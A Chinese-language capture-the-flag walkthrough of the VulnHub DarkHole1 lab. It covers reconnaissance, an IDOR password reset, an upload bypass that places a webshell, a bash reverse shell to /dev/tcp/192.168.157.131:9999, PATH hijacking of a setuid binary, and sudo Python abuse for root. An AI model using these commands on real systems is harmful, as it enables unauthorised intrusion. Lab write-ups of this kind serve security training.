VulnHub_DarkHole1靶机渗透流程
注意:部署时,靶机的网络连接模式必须和kali一致,让靶机跟kali处于同一网段,这用kali才能扫出靶机的主机
1. 信息收集
1.1 探测IP
使用nmap扫描同一个段下存活的IP发现192.168.157.138开放了80端口,访问后确认为此次渗透的靶机

1.2 详细信息扫描
- nmap -A -p- 192.168.157.138
复制代码-A:启用操作系统探测与版本检测、脚本扫描和敏感性信息探测等
-p-:扫描所有端口,从0到65535

显示开放了22、80端口,开启了ssh、http服务
1.3 敏感目录扫描
- dirsearch -u 192.168.157.138 -e *
复制代码-e *:递归枚举目录,使用*匹配所有目录

1.4 指纹收集
whatweb是一款网页指纹识别工具,可以从网页内容与源代码中提取特征,判断网页后端技术。- whatweb -v 192.168.157.138
复制代码-v 参数表示启用冗余模式,可以获取更详细的识别信息

2. 渗透流程
2.1 注册账户登录

这里注意到我登录新注册的用户时 id=2,那么访问一下 id=1

“不允许访问其他用户信息” 确实存在,应该是管理员用户
2.2 越权登录admin
有修改密码的位置,抓一下修改密码的包

id 处可以产生越权,改成 id=1 后发包,即可用密码1111登录admin用户

2.3 文件上传获取shell
多出了一个文件上传区域,传个一句话木马

限制了文件上传类型只能为 jpg、png、gif
那么先抓包改包,尝试后缀名为 phtml 时成功上传并执行

连接蚁剑

2.4 反弹shell
在john目录下发现可执行文件 toto

利用蚁剑写一个shell脚本进行连接- bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'
复制代码
利用bash,反弹一个shell给kali

连接成功
2.5 提权获取john用户shell
查看toto文件

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下- echo "/bin/bash" > /tmp/id
- chmod +x /tmp/id
- export PATH=/tmp:$PATH
- ./toto
复制代码 GPT的解释:
这段代码做了以下几件事:
- echo "/bin/bash" > /tmp/id : 在/tmp目录下创建一个文件id,内容是/bin/bash
- chmod +x /tmp/id : 给id文件添加执行权限
- export PATH=/tmp:$PATH : 将/tmp目录添加到PATH环境变量中
所以总的效果是在/tmp下创建了一个名为id的bash执行文件,并将其添加到了PATH路径中。
这 Bring 了一定安全隐患,因为现在直接输入id命令,会执行/tmp下的id文件,也就相当于执行了一个bash shell。
这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。

拿到john用户下的flag:DarkHole{You_Can_DO_It}
3. 获取root权限
查看john用户的password :root123

ssh连接,登录john

搜一下具有sudo权限的命令

用户可以编辑并执行root权限的python脚本
那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限- echo 'import os;os.system("/bin/bash")' > file.py
- sudo python3 /home/john/file.py
复制代码
得到root用户的flag:DarkHole{You_Are_Legend}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |